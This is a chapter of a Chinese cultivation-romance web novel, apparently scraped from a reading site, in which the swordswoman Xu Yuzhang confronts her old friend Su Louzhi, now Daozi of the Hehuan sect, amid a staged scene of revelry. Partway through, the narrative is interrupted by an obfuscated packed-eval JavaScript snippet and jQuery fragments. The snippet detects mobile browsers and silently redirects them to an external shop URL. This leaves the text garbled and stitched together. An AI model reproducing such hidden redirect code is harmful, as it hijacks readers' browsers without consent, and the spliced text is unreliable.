33. 第33章

作品:《合欢宗道子说他想渡我

    醉月楼内别有洞天,与楼外所见的张扬华美不同,内里则更显低调奢华。


    楼内皆是暖玉铺地,灵木为柱,随处可见的装饰都是各色珍贵的天材地宝,就连空气中弥漫的都不是寻常的脂粉气,而是修真界一两难求的芙蓉凝梦香。


    许玉璋随着玉露一层层拾级而上,合欢宗不愧是当世有名的大宗门,每一层的风格都不尽相同,或是清雅如竹林小筑,或是热烈如异域风光,但无一不精致考究。就连偶尔路过的合欢宗弟子都谦逊有礼,皆对玉露和许玉璋恭敬行礼。


    二人行至某一层楼梯口,玉露停下了脚步,向许玉璋盈盈一礼道:“道友,再往上就是道子日常起居清修之所了,寻常都有专人服侍,我等不便再上。”言下之意便是让许玉璋自便。


    许玉璋自然也听懂了玉露的弦外之音,只微微颔首便独自上楼,等她到楼上后环顾四周,这层格外空旷,目之所及只有一间极大的厅室。


    厅室由一扇厚重的雕花木门紧闭,门缝内隐约飘出丝竹管弦之声,悠扬悦耳,偶尔还夹杂着极低的轻笑软语。


    许玉璋站在门前,双眸沉静如水,毫不犹豫地将眼前的木门推开。


    映入眼帘的是一间极尽奢华又布置得慵懒随性的内室,可见其主的用心。地面铺着雪白的长毛灵兽皮毯,室内所见皆是珍奇灵宝。纱幔飘逸,温暖如春,就连此间香气都比楼下更馥郁几分。


    而内室最里间是一张极其宽大的软榻,苏楼枝正斜倚榻上,还是那身粉衣装束,只不过他身侧左右各依偎着一位容貌极盛的男女修士。


    那两名修士男俊女俏,眼波流转间皆是风情,中央地毯上更有数名身着轻薄舞衣,玉貌朱唇的男女正随着乐声翩然起舞,更有胆大的还向许玉璋抛了个媚眼。


    软榻旁的小几上摆满了灵果美酒,一名容貌娇美的女修正跪坐在小几边,素手剥开一个葡萄,又仔细将籽剔除后才用银签托着递到苏楼枝唇边。


    苏楼枝的目光,从许玉璋推门而入时就已落在她身上,但他脸上依旧是挂着温柔缱绻的笑意,仿佛对许玉璋的突然闯入并不意外。


    他屈指在身旁小几上扣了一声,那递葡萄的女修动作一顿,立刻将果肉放回玉碟中,垂首退到榻边。中央舞池中翩跹的男女也停下动作,朝着软榻躬身行礼,安静退回两侧侍立。就连榻上左右依偎的两人,也快速起身退至一边。


    许玉璋冷眼看着这一切,脸上没有任何表情。


    苏楼枝看许玉璋不动,笑意更深,他伸出两根手指朝许玉璋的方向一挥,便立即有两名姿容出众的弟子上前,想攀附许玉璋的手臂,引她入座。


    “不必。”许玉璋声音冷淡,直接拒绝了两人的触碰,独自走到室内一张宽椅上坐下,不再言语。


    那两名弟子愣在原地,有些无措地看向苏楼枝,苏楼枝先是瞥了一眼许玉璋,而后叹了口气微微摇头,示意他们退下。


    许玉璋入座后就一直盯着桌边的酒盏,她也不知道说什么,起初只是为了找剑魄玄晶,后来听说了苏楼枝,想着多年未见,来见见也好,没想到故友重逢竟会是这般景象。


    “许道友。”


    一声轻柔的呼唤打断了许玉璋的思绪,她抬眼望向声音来源。


    苏楼枝端起身旁杯盏,朝许玉璋遥遥一敬。


    “许道友,多年未见,别来无恙。”


    他说完后将杯中美酒一饮而尽,朝旁边使了个眼色,便立即有两名容貌俊秀,气质干净的男修上前,一人执壶,一人捧杯,准备为许玉璋斟酒。


    就在酒液即将注入杯中时,一只骨节分明的手挡住了杯口,许玉璋抬眸冷冷看向苏楼枝。


    “你变了很多。”


    那两名男修在苏楼枝的示意下退回原位,只见苏楼枝慵懒的伸了个懒腰,换了个舒服的姿势靠在榻边,指尖轻轻敲击着小几上的玉碟,发出清脆的声响。


    “毕竟都过了五百年,如今我已是合欢宗的道子,而你……”


    苏楼枝说完顿了顿,目光在许玉璋身上流转,带着几分漫不经心的感慨:“而你亦是太上剑宗身负盛名的负雪剑,时光易逝,自然是不一样了。”


    许玉璋起身,静静凝视着苏楼枝,又转头看向四周那些容貌出众,又眼含痴慕的弟子,终究是闭上双眼,深深吐出一口气。


    “我当初觉得,合欢宗是名门正派,纵使修行方式与我等剑修不同,但终究是讲究一个你情我愿,阴阳调和……”


    许玉璋说至此处突然顿住,她想起师尊给自己说的关于合欢宗的传闻,此宗修习阴阳合欢大道,主张灵肉交融,于极乐之境中参悟天地阴阳至理,苏楼枝如今亦是化神修为,且现下情形也确实与合欢宗修炼方式相符。


    思及此处她话音一转:“但你如今这般,荒淫无度,纵情声色,可还算是你情我愿?”


    然而她刚说完,榻上端着酒盏的苏楼枝先是一愣,随即竟然放声大笑起来。


    那笑声带着毫不掩饰的愉悦和玩味,直到好一会他才停下来,双目含情地反问她:“……你情我愿?我这怎么就不算你情我愿?”


    他说完大手一挥:“不若许道友亲自问问他们?可都是自愿服侍在我身侧?”


    苏楼枝话音刚落,周围那些安静侍立的弟子全都急切开口,生怕自己说晚了不能在道子面前表现。


    “能侍奉在道子身侧,是弟子三世修来的缘分!”


    “弟子是心甘情愿的,只求能常伴在道子左右聆听教诲!”


    “只要能得道子垂青,弟子便是粉身碎骨也是甘愿的!”


    原本只有两人说话声的内室瞬间热闹起来,众弟子都七嘴八舌地表达对苏楼枝的爱慕,有几个说到情真意切处还会掉下几滴眼泪。


    看着弟子们的情深,苏楼枝低笑出声,挑眉朝许玉璋问道:“如何?”


    许玉璋没有理会他的问题,只是闭目蹙眉。


    但苏楼枝却恍若未觉,继续反问:“你看,他们愿意爱我,慕我,随侍在我身侧,而我……自然也爱他们,这如何不算是你情我愿?。”


    许玉璋闻言彻底怔住,她猛地睁开双眼紧紧盯着苏楼枝。


    爱?爱这么多人?如此轻易?如此泛滥?


    她缓缓转身将室内的所有弟子都一一看遍,沉默良久,才重新审视苏楼枝。


    “你所修何道?”


    苏楼枝似乎早料到她会问,轻笑一声手中酒盏重新斟满,仰头一饮而尽,把酒盏倒扣在桌上,看着许玉璋仿佛情人低喃。


    “多情道。”


    许玉璋静静听着,将所有情绪都沉入心底。


    原来如此,苏楼枝若是所修多情道,那便一切都明了了。情之所钟,遍及众生,深情非滥情,而是体悟世间万般情爱痴缠,与万千情丝中寻得超脱。


    “原是如此,原是道不同……”


    道不同,不相为谋。剩下的四个字许玉璋虽并未明说,但在场众人谁人不知,多说无益。


    许玉璋不再看苏楼枝,也不再看室内的任何人,径直向门口走去,就在她即将推门离去的瞬间。


    “许道友且慢。”


    苏楼枝的声音从身后传来,许玉璋并未转身,但确实在门前停住脚步。


    苏楼枝将桌上倒扣的酒盏拿起,重新斟上满满一杯美酒,起身赤足踩在柔软的兽皮毯上,粉色衣袍逶迤,他端着酒盏,缓步走到许玉璋身前。


    “许道友可是在寻剑魄玄晶?”


    许玉璋听到身后的声音


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020932|191748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    周身一震,连忙转过身来,身前是一盏斟满的美酒,以及苏楼枝那双笑意盈盈的桃花眼。


    两人离得极近,她甚至能闻到苏楼枝身上混合着淡淡酒气的冷香,只见苏楼枝微微向前,轻声在许玉璋耳边低喃。


    “剑魄玄晶不要了吗?玉璋。”


    苏楼枝在说“玉璋”二字时,声音喑哑,呼出的气息如羽毛般轻轻拂过许玉璋的耳畔,带过一阵酥麻。


    她猛地看向苏楼枝,眼前这位年轻有为的合欢宗道子,和五百年前那个红着耳根的少年截然不同,她甚至觉得再这样下去有些危险。


    许玉璋并未回答苏楼枝,只是从袖中取出谢惟初给的玉简,只见玉简在许玉璋手中延伸出一道细微的红线,另一端直直没入苏楼枝身上。


    苏楼枝自然也看到了红线,他低低地笑了一声,忽然提高声音对着门外唤道:“玉露。”


    门被轻轻推开,玉露的身影出现在门口,恭敬问道:“道子有何吩咐?”


    苏楼枝极其自然地将手臂搭在许玉璋的肩上,手中酒盏再次端到许玉璋身前:“许道友这一路风尘仆仆,想必累了,送许道友去听雪轩休息,务必招待周全。”


    “是,道子。”玉露做出请的手势。


    许玉璋看着面前的酒盏眼底晦暗不明,忽然她端起酒盏一饮而尽,扬手把酒盏随意抛到廊边,顺着楼梯滚下。


    苏楼枝见此也不恼,收回手臂转身重新回到软榻上慵懒地躺下,甚至还顺手拈起那颗未吃完的葡萄送入口中。


    歌舞声重新响起,一切都恢复成了初见的模样。


    许玉璋站着没动,她看着苏楼枝重新踏入温柔乡,眼中情绪翻涌。


    而苏楼枝却仿佛会错了意,以手支颐。


    “三日后如何?剑魄玄晶在我师尊手上,三日后我必定双手奉上。”


    苏楼枝说完后顿了顿,语气中带着几分促狭之色:“再说……你现在有钱买吗?”


    “……”


    许玉璋一噎,她确实没钱,来的时候纳戒就被偷了,现下可真是算的上身无分文。


    最终她什么也没说,转身走出房门,玉露缓缓将房门带上,隔绝一室旖旎。


    等二人脚步声彻底消失后,苏楼枝嘴角的笑慢慢散去,他伸出手打了一个响指,刹那间室内光影流转,那些翩翩起舞的貌美男女,侍立身侧的俏丽佳人全都化作点点流光消散于空气中。


    不过一瞬,刚才还活色生香的室内只剩苏楼枝一人。


    苏楼枝缓缓起身,抬手整理了一下稍显凌乱的衣襟,走到厅室外,上楼前往醉月楼的最高层。


    顶层只有一间静室,苏楼枝也不打招呼,直接推门而入。


    室内陈设看似简单,实则将室内的一砖一瓦单独拿出去都能让众人疯抢,就连许玉璋所急需的剑魄玄晶都只是坠在榻边,装饰用的玩意儿。


    苏楼枝习以为常地看着靠在窗边榻上的折枝真君,而他手中正在把玩一个精巧的白玉狐狸面具。


    他见苏楼枝进来,挑了挑眉打趣道:“呦!这是见到了?我们道子速度还挺快嘛。”


    苏楼枝才不管折枝真君的调侃,随意行了一礼就一屁股坐到他旁边,还顺手将他手中把玩的面具抢了回来。


    折枝真君支着头扫了一眼苏楼枝,轻笑道:“你这是生怕她认出来,还特意换了身衣服?所以你跟你那心心念念了五百年的负雪剑,相处的如何?”


    听到师尊问话,苏楼枝抬起头,脸上重新挂上玩世不恭的笑容,脸不红心不跳,语气甚至还很自豪。


    “那自然是……如胶似漆,胜蜜糖甜。”


    折枝真君看他这幅样子哪还有什么不明白,笑骂一声:“你个臭小子,跟你师父还装!”